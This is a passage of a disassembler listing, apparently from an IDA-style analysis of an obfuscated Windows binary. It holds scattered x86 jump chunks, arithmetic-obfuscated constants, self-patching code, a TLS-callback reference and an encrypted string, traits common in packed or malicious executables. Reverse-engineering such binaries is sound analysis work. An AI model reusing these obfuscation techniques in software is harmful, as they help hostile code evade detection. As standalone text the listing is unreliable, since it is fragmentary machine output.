CODE XREF: sub_426B01:loc_4285CEj push 2276A85Dh pop edi sub edi, 0B84D112Ah xor edi, 0F45EB619h cmp edi, 28D9F729h jmp loc_42A4C1 ; END OF FUNCTION CHUNK FOR sub_426B01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_424EFA: ; CODE XREF: sub_42798F-319Dj pop eax and eax, 0E4CC8704h add eax, 83C713B3h add eax, ebp add eax, 182CE9F1h cmp dword ptr [eax], 4742444Fh jmp loc_428F67 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C58A loc_424F1A: ; CODE XREF: _0182ofla:loc_427FB4j ; sub_42C58A:loc_428065j mov ds:dword_424C18, eax retn ; END OF FUNCTION CHUNK FOR sub_42C58A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_424F21: ; CODE XREF: sub_428F20+53F3j jmp loc_423E3C ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_424F26: ; CODE XREF: sub_42E218-946Ej ; sub_42D056-3404j rol eax, 7 push ebp loc_424F2A: ; CODE XREF: sub_423A2A+49DAj call sub_42ECF2 loc_424F2F: ; CODE XREF: sub_4267E7+Cj pushf jmp loc_42858C ; END OF FUNCTION CHUNK FOR sub_42D056 ; =============== S U B R O U T I N E ======================================= sub_424F35 proc near ; DATA XREF: _0182ofla:loc_4292C4o ; FUNCTION CHUNK AT 0042781F SIZE 00000015 BYTES lea eax, [ebp-24h] push eax push 4 push 3BA6635Eh pop eax jmp loc_42781F sub_424F35 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C553 loc_424F46: ; CODE XREF: sub_42C553:loc_428B3Fj xor ebp, eax jmp loc_4241A5 ; END OF FUNCTION CHUNK FOR sub_42C553 ; --------------------------------------------------------------------------- loc_424F4D: ; DATA XREF: sub_4298DD:loc_426802o jno loc_42476D push 0B96AE087h pop eax sub eax, 0BCE00B87h add eax, 70B071E5h add eax, ebp jmp loc_4250FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E44 loc_424F6C: ; CODE XREF: sub_426E44+9j mov eax, [ebp+var_20] mov [ebp+var_28], eax mov [ebp+var_14], 4 mov eax, [ebp+var_14] mov [ebp+var_4], eax push offset loc_42DDEE jmp loc_42C128 ; END OF FUNCTION CHUNK FOR sub_426E44 ; --------------------------------------------------------------------------- loc_424F89: ; CODE XREF: _0182ofla:0042DCC0j shr esi, 11h ; START OF FUNCTION CHUNK FOR sub_427239 loc_424F8C: ; CODE XREF: sub_427239+30Ej or edi, 0AFC1929Ah add edi, 50727CDDh xchg edi, [esp+8+var_8] jmp sub_428D17 ; END OF FUNCTION CHUNK FOR sub_427239 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add edx, eax jmp loc_42A342 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_424FA8: ; CODE XREF: sub_42AC07-3038j ; sub_423A2A:loc_42B495j push 4070D9CCh pop eax rol eax, 0Ah add eax, 3C98CFDFh push ebx jmp loc_427B1E ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4295D6 loc_424FBD: ; CODE XREF: sub_4295D6-5E2Fj pop eax add eax, 0BDA87889h and eax, 0BCCD1B2Eh add eax, 484130DEh mov eax, [eax] or eax, eax jnz loc_42729C jmp loc_423F83 ; END OF FUNCTION CHUNK FOR sub_4295D6 ; --------------------------------------------------------------------------- byte_424FDF db 0F2h ; CODE XREF: sub_42AA33+Cj db 0CCh ; --------------------------------------------------------------------------- jmp loc_426595 ; --------------------------------------------------------------------------- loc_424FE6: ; DATA XREF: _0182ofla:0042B253o mov eax, ds:dword_42B8EC call sub_423EB3 ; START OF FUNCTION CHUNK FOR sub_42CCD0 loc_424FF0: ; CODE XREF: sub_42CCD0+Aj jmp nullsub_230 ; END OF FUNCTION CHUNK FOR sub_42CCD0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_424FF5: ; CODE XREF: sub_428D63:loc_42D108j jz loc_42AF2E jmp loc_42C75E ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- shr ebx, 0Fh jmp sub_4251FB ; --------------------------------------------------------------------------- loc_425008: ; CODE XREF: _0182ofla:0042CF09j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 mov [ecx], eax jmp loc_42E0AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429AE0 loc_425027: ; CODE XREF: sub_429AE0+D18j pushf pop eax xor eax, 200000h loc_42502E: ; CODE XREF: sub_427DA9+257Fj push eax jmp loc_427A85 ; END OF FUNCTION CHUNK FOR sub_429AE0 ; --------------------------------------------------------------------------- loc_425034: ; CODE XREF: _0182ofla:loc_42C4D3j push offset loc_42989C jmp locret_42B3D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42561D loc_42503E: ; CODE XREF: sub_42561D:loc_42766Dj push offset loc_42DB7E jmp nullsub_96 ; END OF FUNCTION CHUNK FOR sub_42561D ; =============== S U B R O U T I N E ======================================= sub_425048 proc near ; DATA XREF: sub_428A08+5o ; FUNCTION CHUNK AT 0042522E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042DC5F SIZE 00000005 BYTES push ebp xchg ecx, ebp mov esp, ebp pop ebp push 0DEC8AA37h pop eax jmp loc_42DC5F sub_425048 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D553 loc_425059: ; CODE XREF: sub_42D553-8E5Ej call sub_42E43C ; END OF FUNCTION CHUNK FOR sub_42D553 ; START OF FUNCTION CHUNK FOR sub_4271D2 loc_42505E: ; CODE XREF: sub_4271D2+204Fj jmp loc_42B696 ; END OF FUNCTION CHUNK FOR sub_4271D2 ; =============== S U B R O U T I N E ======================================= sub_425063 proc near ; CODE XREF: sub_42DB2E:loc_424374p ; _0182ofla:0042C5F6j ; FUNCTION CHUNK AT 00424677 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00425917 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425EC5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428FA7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00429F9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AC84 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C981 SIZE 00000009 BYTES mov [esp+0], esi pop esi push eax call sub_4295D6 lea eax, [ebp-0Ch] push eax jmp loc_42C981 sub_425063 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423395 loc_425076: ; CODE XREF: sub_423395:loc_42A9F2j push 407234B3h pop eax jmp loc_42AFFF ; END OF FUNCTION CHUNK FOR sub_423395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_425081: ; CODE XREF: sub_4282B8-1E21j jnz loc_426A59 jmp loc_423131 ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- loc_42508C: ; DATA XREF: sub_426BDA+3825o call sub_428D17 mov edx, 17B3C1CFh call sub_42D71D call sub_423F65 ; START OF FUNCTION CHUNK FOR sub_42340D loc_4250A0: ; CODE XREF: sub_42340D+11j shr edx, 3 mov ecx, ds:dword_423190 movzx edx, byte ptr [ecx+edx] and eax, edx jnz loc_42A7D0 jmp loc_427264 ; END OF FUNCTION CHUNK FOR sub_42340D ; --------------------------------------------------------------------------- loc_4250BA: ; DATA XREF: sub_4254D3:loc_42CCB3o pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_4250BE: ; CODE XREF: sub_428EB9-1271j jmp loc_42E5A5 ; END OF FUNCTION CHUNK FOR sub_428EB9 ; --------------------------------------------------------------------------- popf jmp sub_423360 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_187. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247FE loc_4250CA: ; CODE XREF: sub_4247FE+18BAj jmp nullsub_25 ; END OF FUNCTION CHUNK FOR sub_4247FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42940E loc_4250CF: ; CODE XREF: sub_42940E+Fj jnz loc_42AD33 jmp loc_42882A ; END OF FUNCTION CHUNK FOR sub_42940E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E689 loc_4250DA: ; CODE XREF: sub_42E689:loc_42A49Fj ; sub_42E689-2FB9j push offset sub_42E9A5 jmp nullsub_175 ; END OF FUNCTION CHUNK FOR sub_42E689 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F46 loc_4250E4: ; CODE XREF: sub_428F46:loc_429FBEj mov esp, ebp pop ebp push 917DB474h pop eax xor eax, 9656E7EAh or eax, 7019B8B1h jmp loc_423D28 ; END OF FUNCTION CHUNK FOR sub_428F46 ; --------------------------------------------------------------------------- loc_4250FE: ; CODE XREF: _0182ofla:00424F67j add eax, 92C4B8F7h push eax push 100h lea eax, [ebp-2C8h] push eax jmp loc_4266ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C415 loc_425116: ; CODE XREF: sub_42C415:loc_423D23j call dword ptr [ebp-4] test eax, eax jz loc_429D23 jmp loc_42A3B8 ; END OF FUNCTION CHUNK FOR sub_42C415 ; =============== S U B R O U T I N E ======================================= sub_425126 proc near ; CODE XREF: _0182ofla:00429052j ; sub_42905D+9p ; FUNCTION CHUNK AT 0042E8C8 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov esp, ebp push offset loc_42B1A8 jmp loc_42E8C8 sub_425126 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231D5 loc_425136: ; CODE XREF: sub_4231D5:loc_429FA3j add eax, [ebp-4] call sub_4289E4 push offset loc_425FA7 jmp nullsub_85 ; END OF FUNCTION CHUNK FOR sub_4231D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CD44 loc_425148: ; CODE XREF: sub_42CD44+Bj or edi, 1AACF898h call sub_423D2D ; END OF FUNCTION CHUNK FOR sub_42CD44 ; =============== S U B R O U T I N E ======================================= sub_425153 proc near ; CODE XREF: _0182ofla:00428F33j ; sub_42B0C0+4p mov [esp+0], edi pop edi call sub_425C89 sub_425153 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42E734 loc_42515C: ; CODE XREF: sub_42E734:loc_42CA83j push eax mov eax, esp call sub_429597 ; END OF FUNCTION CHUNK FOR sub_42E734 ; START OF FUNCTION CHUNK FOR sub_425E4D loc_425164: ; CODE XREF: sub_425E4D+Aj jmp loc_42B048 ; END OF FUNCTION CHUNK FOR sub_425E4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42968B loc_425169: ; CODE XREF: sub_42968B:loc_4249EAj xchg eax, ebp ror eax, 11h push ecx push 0FF7A35AAh pop ecx add ecx, 0DB40C953h or ecx, 0B4858F01h add ecx, 1824C23h jmp loc_426071 ; END OF FUNCTION CHUNK FOR sub_42968B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_42518C: ; CODE XREF: sub_425B6E+1BDj add eax, 0AFF5F9A1h loc_425192: ; CODE XREF: sub_425B6E:loc_4255D4j push 649A589h pop eax xor eax, 8649A58Bh xor ebx, ebx jmp loc_42E9BD ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E6E loc_4251A5: ; CODE XREF: sub_42662C:loc_426CEAj ; sub_424E6E:loc_42A548j pop eax add eax, 0E04DBD5Ch rol eax, 16h add eax, 6B20C27Ah mov eax, [eax] or eax, eax jnz loc_42D1E0 jmp loc_427B13 ; END OF FUNCTION CHUNK FOR sub_424E6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42461C loc_4251C4: ; CODE XREF: sub_42461C-885j mov [esi], ebp loc_4251C6: ; CODE XREF: sub_42461C:loc_427D05j push edi push 0F070090Bh pop edi add edi, 0FD252CEh jmp loc_42A5B9 ; END OF FUNCTION CHUNK FOR sub_42461C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_4251D8: ; CODE XREF: sub_4298DD:loc_4268B9j jl loc_42731B or ecx, ebp jmp loc_429E67 ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A42 loc_4251E5: ; CODE XREF: sub_423A42+Bj push offset loc_4261F7 jmp loc_42C123 ; END OF FUNCTION CHUNK FOR sub_423A42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F46 loc_4251EF: ; CODE XREF: sub_428F46-35A8j jg loc_4230C2 jmp loc_426A0E ; END OF FUNCTION CHUNK FOR sub_428F46 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4251FB proc near ; CODE XREF: _0182ofla:00425003j ; sub_428BBFp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004231A9 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx xchg ebp, [esp-4+arg_0] mov ebp, [esp-4+arg_0] push offset loc_42E8B0 jmp loc_4231A9 sub_4251FB endp ; --------------------------------------------------------------------------- popf jmp sub_42B5CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423127 loc_425215: ; CODE XREF: sub_423127:loc_428C5Dj mov esi, ecx xchg esi, [esp+0] push 0FEA2B2A4h pop ecx add ecx, 15D4D60h xchg ecx, [esp+0] jmp loc_42A9D3 ; END OF FUNCTION CHUNK FOR sub_423127 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425048 loc_42522E: ; CODE XREF: sub_425048:loc_42DC5Fj add eax, 2179A1E9h mov eax, [eax] call sub_42968B locret_42523B: ; CODE XREF: _0182ofla:0042DDF9j retn ; END OF FUNCTION CHUNK FOR sub_425048 ; --------------------------------------------------------------------------- loc_42523C: ; DATA XREF: sub_429D83+Bo inc ds:dword_42577C lea eax, nullsub_28 mov byte ptr [eax], 0C3h call nullsub_2 call sub_4235A0 call nullsub_220 call sub_42DE3A ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42525F: ; CODE XREF: sub_428D63:loc_42726Aj jmp loc_423B1E ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BEC loc_425264: ; CODE XREF: sub_429BEC-2CEEj jmp loc_42335B ; END OF FUNCTION CHUNK FOR sub_429BEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A39 loc_425269: ; CODE XREF: sub_428A39-4D5Fj jl loc_42376B jg loc_42B6A7 ror esi, 0Fh jns loc_426D82 xor ebx, 8EBEA48Bh popf jmp loc_42376B ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- add edx, edi jmp sub_42B8A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_425291: ; CODE XREF: sub_4253F4+4A53j cmp edi, 80000001h jbe loc_42D629 jmp loc_4264E3 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; =============== S U B R O U T I N E ======================================= sub_4252A2 proc near ; DATA XREF: sub_42CCD0+5o ; FUNCTION CHUNK AT 0042DB98 SIZE 00000004 BYTES push eax ror eax, 18h push edi push 5A6AE190h pop edi and edi, 2A2C290Fh add edi, 0F61AB024h jmp loc_42DB98 sub_4252A2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4252BE: ; CODE XREF: _0182ofla:004262C0j jnz loc_425A4A jmp loc_42DA71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425EA5 loc_4252C9: ; CODE XREF: sub_425EA5:loc_42D455j add edi, 93211F08h xchg edi, [esp+4+var_4] jmp nullsub_138 ; END OF FUNCTION CHUNK FOR sub_425EA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427942 loc_4252D7: ; CODE XREF: sub_427942:loc_4287BCj xchg ebp, ecx jmp loc_42ABBD ; END OF FUNCTION CHUNK FOR sub_427942 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A4C6 loc_4252DE: ; CODE XREF: sub_42A4C6:loc_42D244j push edx push 0B0E10612h pop edx xor edx, 2597FF75h add eax, edx pop edx mov eax, [eax] push eax jmp loc_42DE8A ; END OF FUNCTION CHUNK FOR sub_42A4C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42966F loc_4252F6: ; CODE XREF: sub_42966F:loc_4275BDj pop eax cmp dword ptr [eax], 0 jnz loc_42967F jmp sub_42966F ; END OF FUNCTION CHUNK FOR sub_42966F ; =============== S U B R O U T I N E ======================================= sub_425305 proc near ; CODE XREF: sub_4286A8-321Ep ; sub_42966F-2C81p ... jnz sub_42DC1F push offset sub_425A93 jmp nullsub_20 sub_425305 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_425315: ; CODE XREF: sub_42798F+15DEj jnz loc_4244E9 jmp loc_42E67D ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- popf jge loc_42B340 jmp sub_424533 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9A4 loc_42532C: ; CODE XREF: sub_42D9A4+Bj mov [esp+0], ecx mov esp, ebp pop ebp push 2695FB79h pop eax or eax, 0D661F52Ah cmp eax, 0AEF332FEh jmp loc_42977C ; END OF FUNCTION CHUNK FOR sub_42D9A4 ; --------------------------------------------------------------------------- cmp ebx, 0BF9C3CC2h jmp loc_4236FE ; --------------------------------------------------------------------------- loc_425354: ; CODE XREF: _0182ofla:0042A2A0j call sub_42E648 popf jmp sub_42CE73 ; --------------------------------------------------------------------------- locret_42535F: ; CODE XREF: _0182ofla:0042C21Fj retn ; --------------------------------------------------------------------------- push 0DE9B877Bh pop edx xor edx, 0C7544150h push offset sub_42A6E6 jmp locret_423DDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291BA loc_425376: ; CODE XREF: sub_4291BA+Cj pushf jmp loc_42CF82 ; END OF FUNCTION CHUNK FOR sub_4291BA ; --------------------------------------------------------------------------- loc_42537C: ; CODE XREF: _0182ofla:0042EAB2j add ebx, eax ; =============== S U B R O U T I N E ======================================= sub_42537E proc near ; CODE XREF: sub_42DF61+17p ; FUNCTION CHUNK AT 004249AD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A3E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004272BE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042740F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004275AB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00428145 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00428CEF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00429517 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042958F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042A2AC SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042AE55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C4E5 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042C5FD SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042C9FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D6F7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E853 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E8E8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EC48 SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx cmp dword ptr [ebp-4], 0 jz loc_429D23 jmp loc_42C9FD sub_42537E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_425391: ; DATA XREF: sub_42D8FF:loc_42969Co mov edx, [edx+1Ch] add edx, [ebp-4] add eax, edx call sub_423360 ; START OF FUNCTION CHUNK FOR sub_4291BA loc_42539E: ; CODE XREF: sub_4291BA+6AFj jmp loc_4255DF ; END OF FUNCTION CHUNK FOR sub_4291BA ; --------------------------------------------------------------------------- aIurlmGsHofbSi db '‰Uà‹Mìƒá',7,'hŽFÄéI-',0 ; DATA XREF: sub_426046+8o align 2 mov eax, 252784E4h jmp sub_4249EF ; --------------------------------------------------------------------------- cmp ebp, edx jmp loc_42EBC4 ; --------------------------------------------------------------------------- loc_4253C7: ; DATA XREF: sub_425BF8-13D6o cmp dword ptr [ebp-4], 6 jnz loc_42564E jmp loc_42AD98 ; --------------------------------------------------------------------------- loc_4253D6: ; CODE XREF: sub_423A61+5j call sub_4253DC retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4253DC proc near ; CODE XREF: _0182ofla:loc_4253D6p ; FUNCTION CHUNK AT 00423BCC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00423C9E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00424C8A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429480 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00429C93 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A03C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D2DA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042E9D1 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_42E9D1 sub_4253DC endp ; --------------------------------------------------------------------------- test al, al jz nullsub_203 jmp loc_42821C ; =============== S U B R O U T I N E ======================================= sub_4253F4 proc near ; CODE XREF: _0182ofla:00427173j ; sub_42798F:loc_427A85p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00423554 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00423696 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00423D7D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423DD1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424D15 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00425291 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00425437 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 00425886 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004259A3 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00425C09 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00425E91 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426472 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00426888 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426C26 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004271FF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004274F2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00427814 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427CCB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042838F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004284AE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042874C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428BC9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004295A5 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00429A30 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00429BC9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00429E34 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042AC44 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042B2B6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042B2D9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042B6A2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C6C7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CF2F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CFA6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042D5B3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042D623 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042E075 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E126 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042E6E8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EB69 SIZE 00000014 BYTES xchg eax, [esp+0] pop eax popf pushf pop eax xor eax, ecx jnz loc_42874C jmp loc_427814 sub_4253F4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- and edi, eax jmp sub_425DA5 ; --------------------------------------------------------------------------- loc_42540F: ; DATA XREF: _0182ofla:0042C17Co xchg eax, [esp] retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CA29 loc_425413: ; CODE XREF: sub_42CA29+1725j jmp nullsub_165 ; END OF FUNCTION CHUNK FOR sub_42CA29 ; =============== S U B R O U T I N E ======================================= sub_425418 proc near ; DATA XREF: _0182ofla:0042C177o ; FUNCTION CHUNK AT 004246BE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429BB4 SIZE 00000005 BYTES or eax, 15FC9CE3h xor eax, 36447070h jmp loc_429BB4 sub_425418 endp ; --------------------------------------------------------------------------- loc_425429: ; DATA XREF: _0182ofla:00423A13o add ecx, 0DE7D459Dh xchg ecx, [esp] jmp nullsub_2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_425437: ; CODE XREF: TlsCallback_0-68CEj ; sub_4253F4:loc_4259A3j shl ebp, 0Bh ; END OF FUNCTION CHUNK FOR sub_4253F4 ; START OF FUNCTION CHUNK FOR sub_42660C loc_42543A: ; CODE XREF: sub_4253F4:loc_426472j ; sub_42660C:loc_427E0Ej ... call sub_42D15D retn ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B1F9 loc_425440: ; CODE XREF: sub_42B1F9-2D84j call nullsub_28 jmp loc_424152 ; END OF FUNCTION CHUNK FOR sub_42B1F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D897 loc_42544A: ; CODE XREF: sub_42D897+1Dj push eax ror eax, 7 jmp loc_429F73 ; END OF FUNCTION CHUNK FOR sub_42D897 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4258B7 loc_425453: ; CODE XREF: sub_4258B7j call sub_42C379 loc_425458: ; CODE XREF: sub_42B553+Cj jmp loc_42C5E5 ; END OF FUNCTION CHUNK FOR sub_4258B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425471 loc_42545D: ; CODE XREF: sub_425471+5j jmp nullsub_213 ; END OF FUNCTION CHUNK FOR sub_425471 ; --------------------------------------------------------------------------- call sub_42E1F0 loc_425467: ; CODE XREF: _0182ofla:0042D0A1j jmp loc_429CAF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_42546C: ; CODE XREF: sub_429E52+D29j jmp loc_42B0D3 ; END OF FUNCTION CHUNK FOR sub_429E52 ; =============== S U B R O U T I N E ======================================= sub_425471 proc near ; CODE XREF: sub_42DF41-55A9p ; FUNCTION CHUNK AT 0042545D SIZE 00000005 BYTES push offset sub_429FC8 jmp loc_42545D sub_425471 endp ; --------------------------------------------------------------------------- push offset sub_424B86 jmp loc_429D45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4286A8 loc_425485: ; CODE XREF: sub_4286A8:loc_42DCF6j push 1388h call sub_425305 push offset loc_426FDC jmp loc_42E4C7 ; END OF FUNCTION CHUNK FOR sub_4286A8 ; =============== S U B R O U T I N E ======================================= sub_425499 proc near ; CODE XREF: sub_42938A-50BCp ; _0182ofla:004255CFj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423D87 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004259D4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042741A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042DE64 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx add edx, 0CDBEFFF1h xchg edx, [esp+0] jmp loc_42DE64 sub_425499 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_4254AB: ; CODE XREF: sub_4282B8+5j push 356A666Eh mov edx, edi jmp loc_428F4F ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- loc_4254B7: ; DATA XREF: sub_42D056-37C9o pop edx mov eax, offset loc_4254C1 xchg eax, [esp] retn ; --------------------------------------------------------------------------- loc_4254C1: ; DATA XREF: _0182ofla:004254B8o pop ecx pop ebp jmp loc_4291D1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4254C9: ; CODE XREF: _0182ofla:0042A471j jmp loc_42412F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A642 loc_4254CE: ; CODE XREF: 